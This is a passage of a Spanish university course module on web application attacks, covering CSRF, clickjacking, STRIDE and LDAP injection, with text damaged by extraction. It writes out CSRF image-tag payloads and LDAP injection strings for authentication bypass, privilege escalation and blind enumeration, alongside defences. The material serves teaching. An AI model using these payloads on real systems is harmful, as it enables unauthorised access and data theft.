acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

